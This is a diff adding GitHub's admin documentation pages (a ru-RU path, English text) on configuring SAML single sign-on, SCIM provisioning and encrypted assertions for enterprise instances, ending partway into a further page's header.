b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise.md @@ -0,0 +1,244 @@ +--- +title: Configuring SAML single sign-on for your enterprise +shortTitle: Configure SAML SSO +intro: 'You can control and secure access to {% ifversion ghec %}resources like repositories, issues, and pull requests within your enterprise''s organizations{% elsif ghes %}{% data variables.location.product_location %}{% elsif ghae %}your enterprise on {% data variables.product.prodname_ghe_managed %}{% endif %} by {% ifversion ghec %}enforcing{% elsif ghes or ghae %}configuring{% endif %} SAML single sign-on (SSO) through your identity provider (IdP).' +permissions: '{% ifversion ghes %}Site administrators{% elsif ghec or ghae %}Enterprise owners{% endif %} can configure SAML SSO for {% ifversion ghec or ghae %}an enterprise on {% data variables.product.product_name %}{% elsif ghes %}a {% data variables.product.product_name %} instance{% endif %}.' +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: + - Accounts + - Authentication + - Enterprise + - Identity + - SSO +redirect_from: + - /admin/authentication/configuring-saml-single-sign-on-for-your-enterprise + - /github/setting-up-and-managing-your-enterprise/enabling-saml-single-sign-on-for-organizations-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/enabling-saml-single-sign-on-for-organizations-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/enforcing-saml-single-sign-on-for-organizations-in-your-enterprise-account + - /admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise + - /admin/identity-and-access-management/managing-iam-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise +--- + +{% data reusables.enterprise-accounts.emu-saml-note %} + +## About SAML SSO + +{% ifversion ghec %} + +{% data reusables.saml.dotcom-saml-explanation %} + +{% data reusables.saml.saml-accounts %} + +For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)." + +{% data reusables.saml.about-saml-enterprise-accounts %} + +{% data reusables.saml.about-saml-access-enterprise-account %} For more information, see "[Viewing and managing a user's SAML access to your enterprise account](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)." + +{% data reusables.saml.saml-disabled-linked-identities-removed %} + +{% data reusables.scim.enterprise-account-scim %} + +{% elsif ghes or ghae %} + +SAML SSO allows you to centrally control and secure access to {% data variables.location.product_location %} from your SAML IdP. When an unauthenticated user visits {% data variables.location.product_location %} in a browser, {% data variables.product.product_name %} will redirect the user to your SAML IdP to authenticate. After the user successfully authenticates with an account on the IdP, the IdP redirects the user back to {% data variables.location.product_location %}. {% data variables.product.product_name %} validates the response from your IdP, then grants access to the user. + +After a user successfully authenticates on your IdP, the user's SAML session for {% data variables.location.product_location %} is active in the browser for 24 hours. After 24 hours, the user must authenticate again with your IdP. + +{% data reusables.saml.saml-ghes-account-revocation %} + +{% ifversion ghae %} + +{% data reusables.saml.assert-the-administrator-attribute %} + +{% data reusables.scim.after-you-configure-saml %} For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)." + +{% endif %} + +{% endif %} + +## Supported identity providers + +{% data reusables.saml.saml-supported-idps %} + +{% ifversion ghec %} + +## Username considerations with SAML + +{% ifversion ghec %}If you use {% data variables.product.prodname_emus %}, {% endif %}{% data reusables.enterprise_user_management.consider-usernames-for-external-authentication %} For more information, see "[Username considerations for external authentication](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication)." + +## Enforcing SAML single-sign on for organizations in your enterprise account + +{% note %} + +**Notes:** + +- When you enforce SAML SSO for your enterprise, the enterprise configuration will override any existing organization-level SAML configurations. {% data reusables.saml.switching-from-org-to-enterprise %} For more information, see "[Switching your SAML configuration from an organization to an enterprise account](/github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account)." +- When you enforce SAML SSO for an organization, {% data variables.product.company_short %} removes any members of the organization that have not authenticated successfully with your SAML IdP. When you require SAML SSO for your enterprise, {% data variables.product.company_short %} does not remove members of the enterprise that have not authenticated successfully with your SAML IdP. The next time a member accesses the enterprise's resources, the member must authenticate with your SAML IdP. + +{% endnote %} + +For more detailed information about how to enable SAML using Okta, see "[Configuring SAML single sign-on for your enterprise account using Okta](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)." + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} +4. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +5. Under "SAML single sign-on", select **Require SAML authentication**. + ![Checkbox for enabling SAML SSO](/assets/images/help/business-accounts/enable-saml-auth-enterprise.png) +6. In the **Sign on URL** field, type the HTTPS endpoint of your IdP for single sign-on requests. This value is available in your IdP configuration. +![Field for the URL that members will be forwarded to when signing in](/assets/images/help/saml/saml_sign_on_url_business.png) +7. Optionally, in the **Issuer** field, type your SAML issuer URL to verify the authenticity of sent messages. +![Field for the SAML issuer's name](/assets/images/help/saml/saml_issuer.png) +8. Under **Public Certificate**, paste a certificate to verify SAML responses. +![Field for the public certificate from your identity provider](/assets/images/help/saml/saml_public_certificate.png) +9. To verify the integrity of the requests from your SAML issuer, click {% octicon "pencil" aria-label="The edit icon" %}. Then in the "Signature Method" and "Digest Method" drop-downs, choose the hashing algorithm used by your SAML issuer. +![Drop-downs for the Signature Method and Digest method hashing algorithms used by your SAML issuer](/assets/images/help/saml/saml_hashing_method.png) +10. Before enabling SAML SSO for your enterprise, click **Test SAML configuration** to ensure that the information you've entered is correct. ![Button to test SAML configuration before enforcing](/assets/images/help/saml/saml_test.png) +11. Click **Save**. +{% data reusables.enterprise-accounts.download-recovery-codes %} + +{% elsif ghes %} + +## Configuring SAML SSO + +You can enable or disable SAML authentication for {% data variables.location.product_location %}, or you can edit an existing configuration. You can view and edit authentication settings for {% data variables.product.product_name %} in the management console. For more information, see "[Accessing the management console](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)." + +{% note %} + +**Note**: {% data reusables.enterprise.test-in-staging %} + +{% endnote %} + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.authentication %} +1. Select **SAML**. + + ![Screenshot of option to enable SAML authentication in management console](/assets/images/enterprise/management-console/auth-select-saml.png) +1. {% data reusables.enterprise_user_management.built-in-authentication-option %} + + ![Screenshot of option to enable built-in authentication outside of SAML IdP](/assets/images/enterprise/management-console/saml-built-in-authentication.png) +1. Optionally, to enable unsolicited response SSO, select **IdP initiated SSO**. By default, {% data variables.product.prodname_ghe_server %} will reply to an unsolicited Identity Provider (IdP) initiated request with an `AuthnRequest` back to the IdP. + + ![Screenshot of option to enable IdP-initiated unsolicited response](/assets/images/enterprise/management-console/saml-idp-sso.png) + + {% tip %} + + **Note**: We recommend keeping this value **unselected**. You should enable this feature **only** in the rare instance that your SAML implementation does not support service provider initiated SSO, and when advised by {% data variables.contact.enterprise_support %}. + + {% endtip %} + +1. Select **Disable administrator demotion/promotion** if you **do not** want your SAML provider to determine administrator rights for users on {% data variables.location.product_location %}. + + ![Screenshot of option to enable option to respect the "administrator" attribute from the IdP to enable or disable administrative rights](/assets/images/enterprise/management-console/disable-admin-demotion-promotion.png) +{%- ifversion ghes > 3.3 %} +1. Optionally, to allow {% data variables.location.product_location %} to receive encrypted assertions from your SAML IdP, select **Require encrypted assertions**. You must ensure that your IdP supports encrypted assertions and that the encryption and key transport methods in the management console match the values configured on your IdP. You must also provide {% data variables.location.product_location %}'s public certificate to your IdP. For more information, see "[Enabling encrypted assertions](/admin/identity-and-access-management/using-saml-for-enterprise-iam/enabling-encrypted-assertions)." + + ![Screenshot of "Enable encrypted assertions" checkbox within management console's "Authentication" section](/assets/images/help/saml/management-console-enable-encrypted-assertions.png) +{%- endif %} +1. In the **Single sign-on URL** field, type the HTTP or HTTPS endpoint on your IdP for single sign-on requests. This value is provided by your IdP configuration. If the host is only available from your internal network, you may need to [configure {% data variables.location.product_location %} to use internal nameservers](/enterprise/admin/guides/installation/configuring-dns-nameservers/). + + ![Screenshot of text field for single sign-on URL](/assets/images/enterprise/management-console/saml-single-sign-url.png) +1. Optionally, in the **Issuer** field, type your SAML issuer's name. This verifies the authenticity of messages sent to {% data variables.location.product_location %}. + + ![Screenshot of text field for SAML issuer URL](/assets/images/enterprise/management-console/saml-issuer.png) +1. In the **Signature Method** and **Digest Method** drop-down menus, choose the hashing algorithm used by your SAML issuer to verify the integrity of the requests from {% data variables.location.product_location %}. Specify the format with the **Name Identifier Format** drop-down menu. + + ![Screenshot of drop-down menus to select signature and digest method](/assets/images/enterprise/management-console/saml-method.png) +1. Under **Verification certificate**, click **Choose File** and choose a certificate to validate SAML responses from the IdP. + + ![Screenshot of button for uploading validation certificate from IdP](/assets/images/enterprise/management-console/saml-verification-cert.png) +1. Modify the SAML attribute names to match your IdP if needed, or accept the default names. + + ![Screenshot of fields for entering additional SAML attributes](/assets/images/enterprise/management-console/saml-attributes.png) + +{% elsif ghae %} + +## Enabling SAML SSO + +{% data reusables.saml.ae-enable-saml-sso-during-bootstrapping %} + +The following IdPs provide documentation about configuring SAML SSO for {% data variables.product.product_name %}. If your IdP isn't listed, please contact your IdP to request support for {% data variables.product.product_name %}. + + | IdP | More information | + | :- | :- | + | Azure AD | "[Configuring authentication and provisioning for your enterprise using Azure AD](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad)" | +| Okta | "[Configuring authentication and provisioning for your enterprise using Okta](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)" | + +During initialization for {% data variables.product.product_name %}, you must configure {% data variables.product.product_name %} as a SAML service provider (SP) on your IdP. You must enter several unique values on your IdP to configure {% data variables.product.product_name %} as a valid SP. For more information, see "[SAML configuration reference](/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference#saml-metadata)." + +## Editing the SAML SSO configuration + +If the details for your IdP change, you'll need to edit the SAML SSO configuration for {% data variables.location.product_location %}. For example, if the certificate for your IdP expires, you can edit the value for the public certificate. + +{% ifversion ghae %} + +{% note %} + +**Note**: {% data reusables.saml.contact-support-if-your-idp-is-unavailable %} + +{% endnote %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} +1. Under "SAML single sign-on", type the new details for your IdP. + ![Text entry fields with IdP details for SAML SSO configuration for an enterprise](/assets/images/help/saml/ae-edit-idp-details.png) +1. Optionally, click {% octicon "pencil" aria-label="The edit icon" %} to configure a new signature or digest method. + ![Edit icon for changing signature and digest method](/assets/images/help/saml/ae-edit-idp-details-edit-signature-and-digest.png) + + - Use the drop-down menus and choose the new signature or digest method. + ![Drop-down menus for choosing a new signature or digest method](/assets/images/help/saml/ae-edit-idp-details-edit-signature-and-digest-drop-down-menus.png) +1. To ensure that the information you've entered is correct, click **Test SAML configuration**. + !["Test SAML configuration" button](/assets/images/help/saml/ae-edit-idp-details-test-saml-configuration.png) +1. Click **Save**. + !["Save" button for SAML SSO configuration](/assets/images/help/saml/ae-edit-idp-details-save.png) +1. Optionally, to automatically provision and deprovision user accounts for {% data variables.location.product_location %}, reconfigure user provisioning with SCIM. For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)." + +{% endif %} + +{% ifversion ghae %} + +## Disabling SAML SSO + +{% warning %} + +**Warning**: If you disable SAML SSO for {% data variables.location.product_location %}, users without existing SAML SSO sessions cannot sign into {% data variables.location.product_location %}. SAML SSO sessions on {% data variables.location.product_location %} end after 24 hours. + +{% endwarning %} + +{% note %} + +**Note**: {% data reusables.saml.contact-support-if-your-idp-is-unavailable %} + +{% endnote %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} +1. Under "SAML single sign-on", unselect **Enable SAML authentication**. + ![Checkbox for "Enable SAML authentication"](/assets/images/help/saml/ae-saml-disabled.png) +1. To disable SAML SSO and require signing in with the built-in user account you created during initialization, click **Save**. + !["Save" button for SAML SSO configuration](/assets/images/help/saml/ae-saml-disabled-save.png) + +{% endif %} + +{% endif %} + +{% ifversion ghec or ghes %} + +## Further reading + +{%- ifversion ghec %} +- "[Managing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization)" +{%- endif %} +{%- ifversion ghes %} +- "[Promoting or demoting a site administrator](/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator)" +{%- endif %} + +{% endif %} diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise.md b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise.md new file mode 100644 index 000000000000..d8d5454fd6a4 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise.md @@ -0,0 +1,170 @@ +--- +title: Configuring user provisioning with SCIM for your enterprise +shortTitle: Configure user provisioning +intro: 'You can configure System for Cross-domain Identity Management (SCIM) for {% ifversion scim-for-ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %}, which automatically provisions user accounts when you assign the application for {% ifversion scim-for-ghes %}your instance{% elsif ghae %}{% data variables.product.product_name %}{% endif %} to a user on your identity provider (IdP).' +permissions: '{% ifversion scim-for-ghes %}Site administrators{% elsif ghae %}Enterprise owners{% endif %} can configure user provisioning for {% ifversion scim-for-ghes %}a {% data variables.product.product_name %} instance{% elsif ghae %}an enterprise on {% data variables.product.product_name %}{% endif %}.' +versions: + ghae: '*' + feature: scim-for-ghes +type: how_to +topics: + - Accounts + - Authentication + - Enterprise + - Identity + - SSO +redirect_from: + - /admin/authentication/configuring-user-provisioning-for-your-enterprise + - /admin/identity-and-access-management/managing-iam-for-your-enterprise/configuring-user-provisioning-for-your-enterprise + - /admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-for-your-enterprise +--- + +{% data reusables.scim.ghes-beta-note %} + +## About user provisioning for {% data variables.product.product_name %} + +{% ifversion ghae %} + +{% data reusables.saml.ae-uses-saml-sso %} For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)." + +{% endif %} + +{% ifversion scim-for-ghes %}If you use SAML single sign-on (SSO) for {% data variables.location.product_location %}, you{% elsif ghae %}You{% endif %} can configure SCIM to automatically create or suspend user accounts and grant access{% ifversion scim-for-ghes %} to your instance{% elsif ghae %} for {% data variables.product.product_name %}{% endif %} when you assign or unassign the application on your IdP. For more information about SCIM, see [System for Cross-domain Identity Management: Protocol (RFC 7644)](https://tools.ietf.org/html/rfc7644) on the IETF website. + +If you do not configure user provisioning with SCIM, your IdP will not communicate with {% data variables.product.product_name %} automatically when you assign or unassign the application to a user. Without SCIM, {% data variables.product.product_name %} creates a user account using SAML Just-in-Time (JIT) provisioning the first time someone navigates to {% data variables.product.product_name %} and signs in by authenticating through your IdP. + +Configuring provisioning allows your IdP to communicate with {% data variables.location.product_location %} when you assign or unassign the application for {% data variables.product.product_name %} to a user on your IdP. When you assign the application, your IdP will prompt {% data variables.location.product_location %} to create an account and send an onboarding email to the user. When you unassign the application, your IdP will communicate with {% data variables.product.product_name %} to invalidate any SAML sessions and disable the member's account. + +To configure provisioning for your enterprise, you must enable provisioning on {% data variables.product.product_name %}, then install and configure a provisioning application on your IdP. + +{% ifversion scim-for-ghes %} + +The provisioning application on your IdP communicates with {% data variables.product.product_name %} using the SCIM API. For more information, see "[SCIM](/rest/enterprise-admin/scim)" in the REST API documentation. + +{% endif %} + +## About identities and claims + +After an IdP administrator grants a person access to {% data variables.location.product_location %}, the user can authenticate through the IdP to access {% data variables.product.product_name %} using SAML SSO. + +During authentication, {% ifversion scim-for-ghes %}the instance{% elsif ghae %}{% data variables.product.product_name %}{% endif %} attempts to associate the user with a SAML identity. By default, {% ifversion scim-for-ghes %}the instance{% elsif ghae %}{% data variables.product.product_name %}{% endif %} compares the `NameID` claim from the IdP to the account's username. {% data variables.product.product_name %} normalizes the value of `NameID` for the comparison. For more information about username normalization, see "[Username considerations for external authentication](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication#about-username-normalization)." + +If there is no matching username on the instance, the instance creates a new account for the user. If there is an account with a matching username on the instance, the user signs into the account.{% ifversion scim-for-ghes %} {% data variables.product.product_name %} compares the claim from the IdP against all accounts on the instance, regardless of whether the accounts use built-in authentication or are already associated with a SAML identity.{% endif %} + +{% ifversion scim-for-ghes %} + +When using SAML SSO, a site administrator can configure custom user attributes for the instance. A custom username attribute will allow the instance to use a value from the IdP other than `NameID`. {% data variables.product.product_name %} will respect this mapping when SCIM is configured. For more information about mapping user attributes, see "[Configuring SAML single sign-on for your enterprise](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise#configuring-saml-sso)." + +{% endif %} + +If {% data variables.product.product_name %} successfully identifies a user from the IdP, but account details such as email address, first name, or last name don't match, the instance updates the details with values from the IdP. + +## Supported identity providers + +The following IdPs support user provisioning with SCIM for {% data variables.product.product_name %}. + +{% data reusables.saml.okta-ae-sso-beta %} + +{% data reusables.github-ae.saml-idp-table %} + +{% data reusables.scim.ghes-scim-beta-note %} + +{% data reusables.scim.ghes-scim-idp-table %} + +{% ifversion ghae %} +For IdPs that support team mapping, you can assign or unassign the application for {% data variables.product.product_name %} to groups of users in your IdP. These groups are then available to organization owners and team maintainers in {% data variables.location.product_location %} to map to {% data variables.product.product_name %} teams. For more information, see "[Mapping Okta groups to teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)." +{% endif %} + +## Prerequisites + +{% ifversion ghae %} + +- You must configure SAML SSO when you initialize {% data variables.product.product_name %}. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)." + +{% elsif scim-for-ghes %} + +- {% data reusables.saml.ghes-you-must-configure-saml-sso %} + +- You must allow built-in authentication for users who don't have an account on your IdP. For more information, see "[Allowing built-in authentication for users outside your provider](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider)." + +- Your IdP must support making SCIM calls to a Service Provider (SP). + +{% endif %} + +- You must have administrative access on your IdP to configure the application for user provisioning for {% data variables.product.product_name %}. + +## Enabling user provisioning for your enterprise + +{% ifversion scim-for-ghes %} + +To perform provisioning actions on your instance, you will create a dedicated machine user account and promote the account to an enterprise owner. + +After you enable SCIM on a {% data variables.product.product_name %} instance, all user accounts are suspended. If you grant the user access to your instance from your IdP and the user authenticates successfully, the user's account will be unsuspended. + +{% endif %} + +{%- ifversion ghae %} +1. While signed into {% data variables.location.product_location %} as an enterprise owner, create a {% data variables.product.pat_v1 %} with **admin:enterprise** scope. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." + {% note %} + + **Notes**: + - To create the {% data variables.product.pat_generic %}, we recommend using the account for the first enterprise owner that you created during initialization. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)." + - You'll need this {% data variables.product.pat_generic %} to configure the application for SCIM on your IdP. Store the token securely in a password manager until you need the token again later in these instructions. + + {% endnote %} + {% warning %} + + **Warning**: If the user account for the enterprise owner who creates the {% data variables.product.pat_generic %} is deactivated or deprovisioned, your IdP will no longer provision and deprovision user accounts for your enterprise automatically. Another enterprise owner must create a new {% data variables.product.pat_generic %} and reconfigure provisioning on the IdP. + + {% endwarning %} +{%- elsif scim-for-ghes %} +1. Create a dedicated machine user account to perform provisioning actions on your instance. For more information, see "[Allowing built-in authentication for users outside your provider](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider#inviting-users-outside-your-provider-to-authenticate-to-your-instance)." +1. Promote the dedicated user account to an enterprise owner. For more information, see "[Inviting people to manage your enterprise](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise#adding-an-enterprise-administrator-to-your-enterprise-account)." +1. Sign into your instance as the new enterprise owner. +1. Create a {% data variables.product.pat_v1 %} with **admin:enterprise** scope. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." + + {% note %} + + **Note**: You'll need this {% data variables.product.pat_generic %} to test the SCIM configuration, and to configure the application for SCIM on your IdP. Store the token securely in a password manager until you need the token again later in these instructions. + + {% endnote %} +{% data reusables.enterprise_installation.ssh-into-instance %} +1. To enable SCIM, run the commands provided to you by your account manager on {% data variables.contact.contact_enterprise_sales %}. +{% data reusables.enterprise_site_admin_settings.wait-for-configuration-run %} +1. To validate that SCIM is operational, run the following commands. Replace _PAT FROM STEP 3_ and _YOUR INSTANCE'S HOSTNAME_ with actual values. + + ```shell + $ GHES_PAT="PAT FROM STEP 3" + $ GHES_HOSTNAME="YOUR INSTANCE'S HOSTNAME" + $ curl --location --request GET 'https://$GHES_HOSTNAME/api/v3/scim/v2/Users' \ + --header 'Content-Type: application/scim' \ + --header 'Authorization: Bearer $GHES_PAT' + ``` + + The command should return an empty array. +{%- endif %} +{%- ifversion ghae %} +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} +1. Under "SCIM User Provisioning", select **Require SCIM user provisioning**. + ![Checkbox for "Require SCIM user provisioning" within enterprise security settings](/assets/images/help/enterprises/settings-require-scim-user-provisioning.png) +1. Click **Save**. + ![Save button under "Require SCIM user provisioning" within enterprise security settings](/assets/images/help/enterprises/settings-scim-save.png) +{%- endif %} +1. Configure user provisioning in the application for {% data variables.product.product_name %} on your IdP. + + {%- ifversion ghae %} The following IdPs provide documentation about configuring provisioning for {% data variables.product.product_name %}. If your IdP isn't listed, please contact your IdP to request support for {% data variables.product.product_name %}. + {%- elsif scim-for-ghes %} {% data variables.product.company_short %} provides documentation for configuring provisioning for the following IdPs.{% endif %} + + | IdP | More information | + | :- | :- | + | Azure AD | {% ifversion ghae %}[Tutorial: Configure {% data variables.product.prodname_ghe_managed %} for automatic user provisioning](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-provisioning-tutorial) in the Microsoft Docs. {% endif %}To configure Azure AD for {% data variables.product.product_name %}, see "[Configuring authentication and provisioning for your enterprise using Azure AD](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad)." | +| Okta | {% ifversion ghae %}(beta){% endif %} To configure Okta for {% data variables.product.product_name %}, see "[Configuring authentication and provisioning for your enterprise using Okta](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)." | + + The application on your IdP requires two values to provision or deprovision user accounts on {% data variables.location.product_location %}. + + | Value | Other names | Description | Example | + | :- | :- | :- | :- | + | URL | Tenant URL | URL to the SCIM provisioning API for your enterprise on {% data variables.product.prodname_ghe_managed %} | {% data variables.product.api_url_pre %}/scim/v2 | + | Shared secret | {% data variables.product.pat_generic_caps %}, secret token | Token for application on your IdP to perform provisioning tasks on behalf of an enterprise owner | {% data variables.product.pat_generic_caps %} you created in step {% ifversion ghae %}1{% elsif scim-for-ghes %}4{% endif %} | \ No newline at end of file diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/enabling-encrypted-assertions.md b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/enabling-encrypted-assertions.md new file mode 100644 index 000000000000..83a3c87b1436 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/enabling-encrypted-assertions.md @@ -0,0 +1,60 @@ +--- +title: Enabling encrypted assertions +shortTitle: Enable encrypted assertions +intro: 'You can improve {% data variables.location.product_location %}''s security with SAML single sign-on (SSO) by encrypting the messages that your SAML identity provider (IdP) sends.' +permissions: 'Site administrators can configure encrypted assertions for a {% data variables.product.product_name %} instance.' +versions: + ghes: '> 3.3' +type: how_to +topics: + - Accounts + - Authentication + - Enterprise + - Identity + - Security + - SSO +--- + +## About encrypted assertions + +If your IdP support encryption of assertions, you can configure encrypted assertions on {% data variables.product.product_name %} for increased security during the authentication process. + +## Prerequisites + +To enable encrypted assertions for authentication to {% data variables.product.product_name %}, you must configure SAML authentication, and your IdP must support encrypted assertions. + +## Enabling encrypted assertions + +To enable encrypted assertions, you must provide {% data variables.location.product_location %}'s public certificate to your IdP, and configure encryption settings that match your IdP. + +{% note %} + +**Note**: {% data reusables.enterprise.test-in-staging %} + +{% endnote %} + +1. Optionally, enable SAML debugging. SAML debugging records verbose entries in {% data variables.product.product_name %}'s authentication log, and may help you troubleshoot failed authentication attempts. For more information, see "[Troubleshooting SAML authentication](/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication#configuring-saml-debugging)." +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.authentication %} +1. Select **Require encrypted assertions**. + + ![Screenshot of "Enable encrypted assertions" checkbox within management console's "Authentication" section](/assets/images/help/saml/management-console-enable-encrypted-assertions.png) +1. To the right of "Encryption Certificate", click **Download** to save a copy of {% data variables.location.product_location %}'s public certificate on your local machine. + + ![Screenshot of "Download" button for public certificate for encrypted assertions](/assets/images/help/saml/management-console-encrypted-assertions-download-certificate.png) +1. Sign into your SAML IdP as an administrator. +1. In the application for {% data variables.location.product_location %}, enable encrypted assertions. + - Note the encryption method and key transport method. + - Provide the public certificate you downloaded in step 7. +1. Return to the management console on {% data variables.location.product_location %}. +1. To the right of "Encryption Method", select the encryption method for your IdP from step 9. + + ![Screenshot of "Encryption Method" for encrypted assertions](/assets/images/help/saml/management-console-encrypted-assertions-encryption-method.png) +1. To the right of "Key Transport Method", select the key transport method for your IdP from step 9. + + ![Screenshot of "Key Transport Method" for encrypted assertions](/assets/images/help/saml/management-console-encrypted-assertions-key-transport-method.png) +1. Click **Save settings**. +{% data reusables.enterprise_site_admin_settings.wait-for-configuration-run %} + +If you enabled SAML debugging to test authentication with encrypted assertions, disable SAML debugging when you're done testing. For more information, see "[Troubleshooting SAML authentication](/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication#configuring-saml-debugging)." diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/index.md b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/index.md new file mode 100644 index 000000000000..4f83a024f5fc --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/index.md @@ -0,0 +1,37 @@ +--- +title: Using SAML for enterprise IAM +shortTitle: SAML for enterprise IAM +intro: 'You can centrally manage {% ifversion ghes or ghae %}accounts and {% endif %}access to {% ifversion ghes %}{% data variables.location.product_location %}{% elsif ghae %}your enterprise{% elsif ghec %}your enterprise''s resources{% endif %} with SAML single sign-on (SSO){% ifversion ghec or ghae %} and System for Cross-domain Identity Management (SCIM){% endif %}.' +versions: + ghec: '*' + ghes: '*' + ghae: '*' +redirect_from: + - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account + - /admin/authentication/managing-identity-and-access-for-your-enterprise + - /admin/identity-and-access-management/managing-iam-for-your-enterprise + - /admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider + - /enterprise/admin/articles/configuring-saml-authentication + - /enterprise/admin/articles/about-saml-authentication + - /enterprise/admin/user-management/using-saml + - /enterprise/admin/authentication/using-saml + - /admin/authentication/using-saml + - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml + - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-saml +children: + - /about-saml-for-enterprise-iam + - /saml-configuration-reference + - /configuring-saml-single-sign-on-for-your-enterprise + - /configuring-user-provisioning-with-scim-for-your-enterprise + - /managing-team-synchronization-for-organizations-in-your-enterprise + - /configuring-saml-single-sign-on-for-your-enterprise-using-okta + - /configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad + - /configuring-authentication-and-provisioning-for-your-enterprise-using-okta + - /mapping-okta-groups-to-teams + - /enabling-encrypted-assertions + - /updating-a-users-saml-nameid + - /switching-your-saml-configuration-from-an-organization-to-an-enterprise-account + - /troubleshooting-saml-authentication +--- + +{% data reusables.enterprise-accounts.emu-saml-note %} diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/managing-team-synchronization-for-organizations-in-your-enterprise.md b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/managing-team-synchronization-for-organizations-in-your-enterprise.md new file mode 100644 index 000000000000..462816e88cc0 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/managing-team-synchronization-for-organizations-in-your-enterprise.md @@ -0,0 +1,58 @@ +--- +title: Managing team synchronization for organizations in your enterprise +intro: 'You can enable team synchronization between Azure AD and {% data variables.product.product_name %} to allow organizations owned by your enterprise account to manage team membership through IdP groups.' +permissions: Enterprise owners can manage team synchronization for an 